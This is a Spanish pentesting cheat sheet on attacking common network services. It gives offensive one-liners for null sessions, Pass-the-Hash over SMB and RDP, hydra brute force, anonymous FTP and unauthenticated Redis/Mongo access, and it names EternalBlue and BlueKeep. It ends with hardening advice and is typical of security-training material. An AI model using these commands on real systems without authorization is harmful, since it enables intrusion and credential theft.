Saltearse al contenido

Ataques a protocolos de servicio

Cada servicio de red (SMB, SSH, FTP, SNMP, SMTP, RDP, bases de datos) tiene sus propias debilidades, configuraciones inseguras y técnicas de ataque. Esta ficha recorre los servicios más comunes que te encontrarás tras la enumeración (ver Enumeración de servicios de red) y qué atacar en cada uno: credenciales por defecto, acceso anónimo, versiones vulnerables y protocolos inseguros por diseño.

SMB (139/445) — el más explotado en redes Windows

Sección titulada «SMB (139/445) — el más explotado en redes Windows»
# enumeración y acceso
nxc smb host -u '' -p '' --shares --users # null session
smbclient //host/share -N # conexión anónima
# ataques
nxc smb host -u user -H <NThash> # Pass-the-Hash (ver ad-lateral)
# CVEs históricos: EternalBlue (MS17-010), SMBGhost (CVE-2020-0796)
nmap --script=smb-vuln-ms17-010 -p445 host

SMB es la puerta al dominio: shares con credenciales, PtH, relay (ver NTLM Relay).

# enumeración
ssh-audit host ; nmap --script=ssh-auth-methods host
# ataques
hydra -L users.txt -P pass.txt ssh://host # fuerza bruta (cuidado con lockout)
# claves privadas robadas, authorized_keys, agent hijacking
# CVEs: según versión (libssh auth bypass CVE-2018-10933, etc.)
# acceso anónimo (muy común)
ftp host -> anonymous / anonymous
nmap --script=ftp-anon -p21 host
# ataques: credenciales débiles, subida de webshell si FTP->webroot, FTP bounce
# community strings (public = solo lectura, private = escritura)
onesixtyone -c communities.txt host
snmpwalk -v2c -c public host # volcar toda la MIB
snmpbulkwalk -v2c -c public host # más rápido
# revela: procesos, usuarios, software, interfaces, rutas, a veces credenciales

SNMP v1/v2c no cifra y usa community strings triviales: oro para recon interno.

# enumeración de usuarios
smtp-user-enum -M VRFY -U users.txt -t host
# open relay (enviar correo como cualquiera -> phishing)
nmap --script=smtp-open-relay -p25 host
nmap --script=rdp-ntlm-info,rdp-enum-encryption -p3389 host
# BlueKeep (CVE-2019-0708): RCE preauth en versiones viejas
# ataques: fuerza bruta (crowbar/hydra), PtH con Restricted Admin (ver ad-lateral)
xfreerdp /v:host /u:user /pth:<NThash>

Bases de datos (1433 MSSQL, 3306 MySQL, 5432 PostgreSQL, 27017 Mongo, 6379 Redis)

Sección titulada «Bases de datos (1433 MSSQL, 3306 MySQL, 5432 PostgreSQL, 27017 Mongo, 6379 Redis)»
# credenciales por defecto / sin auth
mysql -h host -u root # sin contraseña (común en labs/dev)
redis-cli -h host # Redis sin auth -> escritura de ficheros/SSH key
mongo host # MongoDB sin auth -> volcado total
# MSSQL: xp_cmdshell, linked servers (ver ad-mssql)
mssqlclient.py user:pass@host -windows-auth

Redis y MongoDB sin autenticación expuestos a Internet son hallazgos críticos frecuentes.

Protocolos legacy sin cifrado: credenciales viajan en texto plano → captura por sniffing (ver Sniffing de red). Su mera presencia ya es un hallazgo.

Principios transversales: cambiar credenciales por defecto, deshabilitar acceso anónimo y protocolos legacy sin cifrar (Telnet, FTP, SNMPv1/2c → usar SSH/FTPS/SNMPv3), parchear versiones vulnerables (EternalBlue, BlueKeep), no exponer bases de datos a Internet, autenticación fuerte + MFA donde aplique, y segmentación. Monitorizar fuerza bruta (muchos fallos de login).

  • SMB: null session, shares, PtH, ms17-010
  • SSH: métodos de auth, versión, fuerza bruta controlada
  • FTP: acceso anónimo, credenciales débiles
  • SNMP: community strings y walk de la MIB
  • SMTP: enumeración de usuarios y open relay
  • RDP: info NTLM, BlueKeep, PtH
  • Bases de datos: sin auth / credenciales por defecto (Redis/Mongo/MySQL)
  • Protocolos en claro (Telnet) para captura por sniffing